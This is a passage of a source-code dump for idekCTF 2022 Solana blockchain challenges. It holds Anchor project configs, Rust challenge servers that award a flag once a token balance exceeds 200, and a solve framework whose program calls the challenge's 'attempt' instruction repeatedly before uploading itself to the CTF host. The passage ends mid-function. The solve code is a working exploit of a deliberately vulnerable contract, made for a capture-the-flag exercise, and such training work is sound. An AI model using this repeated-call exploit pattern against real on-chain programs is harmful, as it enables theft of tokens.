"Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/chall/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/chall/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/chall/programs/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chall" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "chall" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = { version = "0.24.2", features = ["init-if-needed"] } 26 | anchor-spl = "0.24.2" 27 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/chall/programs/chall/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/chall/tests/chall.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Chall } from "../target/types/chall"; 4 | 5 | describe("chall", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Chall as Program; 10 | const authority = (program.provider as anchor.AnchorProvider).wallet; 11 | 12 | it("Is initialized!", async () => { 13 | // Add your test here. 14 | const counter = anchor.web3.Keypair.generate(); 15 | const tx = await program.methods.initialize() 16 | .accounts({ 17 | counter: counter.pubkey, 18 | authority: authority.pubkey 19 | }) 20 | .rpc(); 21 | console.log("Your transaction signature", tx); 22 | }); 23 | }); 24 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/chall/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /idekctf2022/blockchain1/framework/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::InstructionData; 2 | use chall::anchor_lang::ToAccountMetas; 3 | 4 | use std::env; 5 | use std::io::Write; 6 | 7 | use sol_ctf_framework::ChallengeBuilder; 8 | 9 | use solana_sdk::compute_budget::ComputeBudgetInstruction; 10 | 11 | use solana_program::instruction::Instruction; 12 | use solana_program::system_instruction; 13 | use solana_program_test::tokio; 14 | use solana_sdk::pubkey::Pubkey; 15 | use solana_sdk::signature::Signer; 16 | use solana_sdk::signer::keypair::Keypair; 17 | use std::error::Error; 18 | 19 | use std::net::{TcpListener, TcpStream}; 20 | 21 | #[tokio::main] 22 | async fn main() -> Result<(), Box> { 23 | let listener = TcpListener::bind("0.0.0.0:8080")?; 24 | 25 | println!("starting server at port 8080!"); 26 | 27 | for stream in listener.incoming() { 28 | let stream = stream.unwrap(); 29 | 30 | tokio::spawn(async { 31 | if let Err(err) = handle_connection(stream).await { 32 | println!("error: {:?}", err); 33 | } 34 | }); 35 | } 36 | Ok(()) 37 | } 38 | 39 | async fn handle_connection(mut socket: TcpStream) -> Result<(), Box> { 40 | let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); 41 | 42 | let chall_id = builder.add_program("./chall/target/deploy/chall.so", Some(chall::ID)); 43 | let solve_id = builder.input_program()?; 44 | 45 | let mut chall = builder.build().await; 46 | 47 | // ------------------------------------------------------------------------- 48 | // [setup env] initialize 49 | // ------------------------------------------------------------------------- 50 | let program_id = chall_id; 51 | let mint = chall.add_mint().await?; 52 | 53 | let payer_keypair = &chall.ctx.payer; 54 | let payer = payer_keypair.pubkey(); 55 | 56 | let config = Pubkey::find_program_address(&[b"CONFIG"], &program_id).0; 57 | let reserve = Pubkey::find_program_address(&[b"RESERVE"], &program_id).0; 58 | 59 | let user_keypair = Keypair::new(); 60 | let user = user_keypair.pubkey(); 61 | chall 62 | .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000)) 63 | .await?; 64 | 65 | println!("\nAccounts created...\n"); 66 | 67 | let ix = chall::instruction::Initialize {}; 68 | let ix_accounts = chall::accounts::Initialize { 69 | config, 70 | reserve, 71 | mint, 72 | admin: payer, 73 | token_program: spl_token::ID, 74 | system_program: solana_program::system_program::ID, 75 | rent: solana_program::sysvar::rent::ID, 76 | }; 77 | 78 | chall.run_ix(Instruction::new_with_bytes( 79 | program_id, 80 | &ix.data(), 81 | ix_accounts.to_account_metas(None), 82 | )) 83 | .await?; 84 | 85 | chall.mint_to(1_000_u64, &mint, &reserve).await?; 86 | 87 | let reserve_account = chall.read_token_account(reserve).await?; 88 | println!( 89 | "\nreserve_account balance = {}\n", 90 | reserve_account.amount 91 | ); 92 | // ------------------------------------------------------------------------- 93 | // [setup env] register 94 | // ------------------------------------------------------------------------- 95 | let user_record = Pubkey::find_program_address(&[user.as_ref()], &program_id).0; 96 | let user_account = Pubkey::find_program_address(&[b"account", user.as_ref()], &program_id).0; 97 | let ix = chall::instruction::Register {}; 98 | 99 | let reg_accounts = chall::accounts::Register { 100 | user_record, 101 | user_account, 102 | mint, 103 | user, 104 | token_program: spl_token::ID, 105 | system_program: solana_program::system_program::ID, 106 | rent: solana_program::sysvar::rent::ID, 107 | }; 108 | 109 | let bump_budget = ComputeBudgetInstruction::request_units(10_000_000u32, 0u32); 110 | let reg_ix = Instruction::new_with_bytes( 111 | program_id, 112 | &ix.data(), 113 | reg_accounts.to_account_metas(None), 114 | ); 115 | chall.run_ixs_full( 116 | &[bump_budget, reg_ix], 117 | &[&user_keypair], 118 | &user_keypair.pubkey(), 119 | ) 120 | .await?; 121 | 122 | let user_token_account = chall.read_token_account(user_account).await?; 123 | println!( 124 | "\nuser_account balance = {}\nRegister done\n", 125 | user_token_account.amount 126 | ); 127 | 128 | // ---------------------------------------------------------------------------- 129 | // [setup env] done 130 | // ---------------------------------------------------------------------------- 131 | 132 | writeln!(socket, "mint: {}", mint)?; 133 | writeln!(socket, "admin: {}", payer)?; 134 | writeln!(socket, "config: {}", config)?; 135 | writeln!(socket, "reserve: {}", reserve)?; 136 | writeln!(socket, "user: {}", user)?; 137 | writeln!(socket, "user_record: {}", user_record)?; 138 | writeln!(socket, "user_account: {}", user_account)?; 139 | 140 | let bump_budget = ComputeBudgetInstruction::request_units(10_000_000u32, 0u32); 141 | let solve_ix = chall.read_instruction(solve_id)?; 142 | chall 143 | .run_ixs_full( 144 | &[bump_budget, solve_ix], 145 | &[&user_keypair], 146 | &user_keypair.pubkey(), 147 | ) 148 | .await?; 149 | 150 | let user_token_account = chall.read_token_account(user_account).await?; 151 | writeln!( 152 | socket, 153 | "user_account: {:?}", 154 | user_token_account.amount 155 | )?; 156 | 157 | println!( 158 | "\nuser_account balance = {}\n", 159 | user_token_account.amount 160 | ); 161 | 162 | if user_token_account.amount > 200 { 163 | writeln!(socket, "congrats!")?; 164 | if let Ok(flag) = env::var("FLAG") { 165 | writeln!(socket, "flag: {:?}", flag)?; 166 | } else { 167 | writeln!(socket, "flag not found, please contact admin")?; 168 | } 169 | } 170 | 171 | Ok(()) 172 | } 173 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/README.md: -------------------------------------------------------------------------------- 1 | # Setup 2 | 3 | Use `framework/` to locally setup the challenge 4 | Use `framework-solve/` to solve the challenge locally and remotely 5 | 6 | Edit `framework-solve/solve/programs/solve/src/lib.rs` with your exploit 7 | 8 | 9 | ## Deployment 10 | - Run `docker build -t solana-challenge-2 .` in the `framework` directory 11 | - Run `docker run -d -p 1337:1337 solana-challenge-2` 12 | 13 | 14 | ## Building the solution 15 | - Run `build_solution.sh` in the `solution` directory 16 | - Run `target/release/solve-framework` 17 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "*" 10 | spl-token = "*" 11 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 12 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 13 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/solve/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/solve/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | use anchor_spl::token::{Mint, Token, TokenAccount}; 4 | 5 | declare_id!("28prS7e14Fsm97GE5ws2YpjxseFNkiA33tB5D3hLZv3t"); 6 | 7 | #[program] 8 | pub mod solve { 9 | use super::*; 10 | 11 | pub fn initialize(ctx: Context) -> Result<()> { 12 | 13 | let cpi_accounts = chall::cpi::accounts::Attempt { 14 | reserve: ctx.accounts.reserve.to_account_info(), 15 | record: ctx.accounts.user_record.to_account_info(), 16 | user_account: ctx.accounts.user_account.to_account_info(), 17 | mint: ctx.accounts.mint.to_account_info(), 18 | user: ctx.accounts.user.to_account_info(), 19 | token_program: ctx.accounts.token_program.to_account_info(), 20 | }; 21 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 22 | chall::cpi::attempt(cpi_ctx)?; 23 | 24 | // -------------------------------------------- 25 | // your instruction goes here 26 | let cpi_accounts = chall::cpi::accounts::Attempt { 27 | reserve: ctx.accounts.reserve.to_account_info(), 28 | record: ctx.accounts.user_record.to_account_info(), 29 | user_account: ctx.accounts.user_account.to_account_info(), 30 | mint: ctx.accounts.mint.to_account_info(), 31 | user: ctx.accounts.user.to_account_info(), 32 | token_program: ctx.accounts.token_program.to_account_info(), 33 | }; 34 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 35 | chall::cpi::attempt(cpi_ctx)?; 36 | 37 | let cpi_accounts = chall::cpi::accounts::Attempt { 38 | reserve: ctx.accounts.reserve.to_account_info(), 39 | record: ctx.accounts.user_record.to_account_info(), 40 | user_account: ctx.accounts.user_account.to_account_info(), 41 | mint: ctx.accounts.mint.to_account_info(), 42 | user: ctx.accounts.user.to_account_info(), 43 | token_program: ctx.accounts.token_program.to_account_info(), 44 | }; 45 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 46 | chall::cpi::attempt(cpi_ctx)?; 47 | 48 | let cpi_accounts = chall::cpi::accounts::Attempt { 49 | reserve: ctx.accounts.reserve.to_account_info(), 50 | record: ctx.accounts.user_record.to_account_info(), 51 | user_account: ctx.accounts.user_account.to_account_info(), 52 | mint: ctx.accounts.mint.to_account_info(), 53 | user: ctx.accounts.user.to_account_info(), 54 | token_program: ctx.accounts.token_program.to_account_info(), 55 | }; 56 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 57 | chall::cpi::attempt(cpi_ctx)?; 58 | 59 | let cpi_accounts = chall::cpi::accounts::Attempt { 60 | reserve: ctx.accounts.reserve.to_account_info(), 61 | record: ctx.accounts.user_record.to_account_info(), 62 | user_account: ctx.accounts.user_account.to_account_info(), 63 | mint: ctx.accounts.mint.to_account_info(), 64 | user: ctx.accounts.user.to_account_info(), 65 | token_program: ctx.accounts.token_program.to_account_info(), 66 | }; 67 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 68 | chall::cpi::attempt(cpi_ctx)?; 69 | 70 | Ok(()) 71 | } 72 | } 73 | 74 | #[derive(Accounts)] 75 | pub struct Initialize<'info> { 76 | pub admin: AccountInfo<'info>, 77 | 78 | #[account(mut)] 79 | pub config: AccountInfo<'info>, 80 | 81 | #[account(mut)] 82 | pub reserve: Account<'info, TokenAccount>, 83 | 84 | #[account(mut)] 85 | pub user_record: AccountInfo<'info>, 86 | 87 | #[account(mut)] 88 | pub user_account: Account<'info, TokenAccount>, 89 | 90 | #[account(mut)] 91 | pub user: Signer<'info>, 92 | 93 | pub mint: Account<'info, Mint>, 94 | 95 | pub token_program: Program<'info, Token>, 96 | 97 | pub system_program: Program<'info, System>, 98 | 99 | pub chall: Program<'info, chall::program::Chall>, 100 | 101 | pub rent: Sysvar<'info, Rent>, 102 | } 103 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas, system_program}; 2 | use solana_program::pubkey::Pubkey; 3 | use std::net::TcpStream; 4 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 5 | 6 | 7 | fn get_line(reader: &mut BufReader) -> Result> { 8 | let mut line = String::new(); 9 | reader.read_line(&mut line)?; 10 | let ret = line 11 | .split(':') 12 | .nth(1) 13 | .ok_or("invalid input")? 14 | .trim() 15 | .to_string(); 16 | Ok(ret) 17 | } 18 | 19 | 20 | fn main() -> Result<(), Box> { 21 | let mut stream = TcpStream::connect("baby-blockchain-2.chal.idek.team:1337")?; 22 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 23 | 24 | let mut line = String::new(); 25 | 26 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 27 | 28 | reader.read_line(&mut line)?; 29 | writeln!(stream, "{}", solve::ID)?; 30 | reader.read_line(&mut line)?; 31 | writeln!(stream, "{}", so_data.len())?; 32 | stream.write_all(&so_data)?; 33 | 34 | 35 | let chall_id = chall::ID; 36 | 37 | let mint = Pubkey::from_str(&get_line(&mut reader)?)?; 38 | let admin = Pubkey::from_str(&get_line(&mut reader)?)?; 39 | let config = Pubkey::from_str(&get_line(&mut reader)?)?; 40 | let reserve = Pubkey::from_str(&get_line(&mut reader)?)?; 41 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 42 | let user_record = Pubkey::from_str(&get_line(&mut reader)?)?; 43 | let user_account = Pubkey::from_str(&get_line(&mut reader)?)?; 44 | 45 | 46 | 47 | 48 | 49 | // solution start ---------------------- 50 | // vault = Pubkey::find_program_address( 51 | // &[b"produ", b"ctemploy_A"], 52 | // &chall_id, 53 | // ).0; 54 | // solution end ------------------------ 55 | 56 | println!(""); 57 | println!("mint : {}", mint); 58 | println!("admin : {}", admin); 59 | println!("config : {}", config); 60 | println!("reserve : {}", reserve); 61 | println!("user : {}", user); 62 | println!("user_record : {}", user_record); 63 | println!("user_account : {}", user_account); 64 | println!(""); 65 | 66 | let ix = solve::instruction::Initialize {}; 67 | let data = ix.data(); 68 | 69 | let ix_accounts = solve::accounts::Initialize { 70 | admin, 71 | config, 72 | reserve, 73 | user_record, 74 | user_account, 75 | user, 76 | mint, 77 | token_program: spl_token::ID, 78 | system_program: system_program::ID, 79 | chall: chall_id, 80 | rent: solana_program::sysvar::rent::ID, 81 | }; 82 | 83 | let metas = ix_accounts.to_account_metas(None); 84 | 85 | reader.read_line(&mut line)?; 86 | writeln!(stream, "{}", metas.len())?; 87 | for meta in metas { 88 | let mut meta_str = String::new(); 89 | meta_str.push('m'); 90 | if meta.is_writable { 91 | meta_str.push('w'); 92 | } 93 | if meta.is_signer { 94 | meta_str.push('s'); 95 | } 96 | meta_str.push(' '); 97 | meta_str.push_str(&meta.pubkey.to_string()); 98 | writeln!(stream, "{}", meta_str)?; 99 | stream.flush()?; 100 | } 101 | 102 | reader.read_line(&mut line)?; 103 | writeln!(stream, "{}", data.len())?; 104 | stream.write_all(&data)?; 105 | 106 | stream.flush()?; 107 | 108 | line.clear(); 109 | while reader.read_line(&mut line)? != 0 { 110 | print!("{}", line); 111 | line.clear(); 112 | } 113 | 114 | Ok(()) 115 | } 116 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | chall/target 3 | !chall/target/deploy 4 | chall/.anchor 5 | chall/node_modules 6 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | [profile.release] 8 | overflow-checks = true 9 | 10 | [dependencies] 11 | solana-program-test = "1.9.13" 12 | solana-program = "1.9.13" 13 | solana-logger = "1.9.13" 14 | solana-sdk = "1.9.13" 15 | spl-token = "3.3.0" 16 | chall = { path ="./chall/programs/chall", features = ["no-entrypoint"] } 17 | sol-ctf-framework = { git = "https://github.com/otter-sec/sol-ctf-framework", branch="rewrite-v2" } 18 | #sol-ctf-framework = { path="../../sol-ctf-framework" } 19 | threadpool = "1.8.1" 20 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | COPY chall ./chall 10 | 11 | RUN cargo build --release 12 | 13 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.10.32/install)" 14 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 15 | RUN cd chall && cargo build-bpf 16 | 17 | ENV FLAG="idek{This_is_a_fake_flag}" 18 | 19 | CMD [ "./target/release/framework" ] 20 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/build_challenge.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd chall && cargo build-bpf 4 | cd .. 5 | cargo build --release -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/chall/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/chall/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/chall/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | chall = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/chall/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/chall/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/chall/programs/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chall" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "chall" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = { version = "0.24.2", features = ["init-if-needed"] } 26 | anchor-spl = "0.24.2" 27 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/chall/programs/chall/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/chall/tests/chall.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Chall } from "../target/types/chall"; 4 | 5 | describe("chall", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Chall as Program; 10 | const authority = (program.provider as anchor.AnchorProvider).wallet; 11 | 12 | it("Is initialized!", async () => { 13 | // Add your test here. 14 | const counter = anchor.web3.Keypair.generate(); 15 | const tx = await program.methods.initialize() 16 | .accounts({ 17 | counter: counter.pubkey, 18 | authority: authority.pubkey 19 | }) 20 | .rpc(); 21 | console.log("Your transaction signature", tx); 22 | }); 23 | }); 24 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/chall/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /idekctf2022/blockchain2/framework/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::InstructionData; 2 | use chall::anchor_lang::ToAccountMetas; 3 | 4 | use std::env; 5 | use std::io::Write; 6 | 7 | use sol_ctf_framework::ChallengeBuilder; 8 | 9 | use solana_sdk::compute_budget::ComputeBudgetInstruction; 10 | 11 | use solana_program::instruction::Instruction; 12 | use solana_program::system_instruction; 13 | use solana_program_test::tokio; 14 | use solana_sdk::pubkey::Pubkey; 15 | use solana_sdk::signature::Signer; 16 | use solana_sdk::signer::keypair::Keypair; 17 | use std::error::Error; 18 | 19 | use std::net::{TcpListener, TcpStream}; 20 | 21 | #[tokio::main] 22 | async fn main() -> Result<(), Box> { 23 | let listener = TcpListener::bind("0.0.0.0:1337")?; 24 | 25 | println!("starting server at port 1337!"); 26 | 27 | for stream in listener.incoming() { 28 | let stream = stream.unwrap(); 29 | 30 | tokio::spawn(async { 31 | if let Err(err) = handle_connection(stream).await { 32 | println!("error: {:?}", err); 33 | } 34 | }); 35 | } 36 | Ok(()) 37 | } 38 | 39 | async fn handle_connection(mut socket: 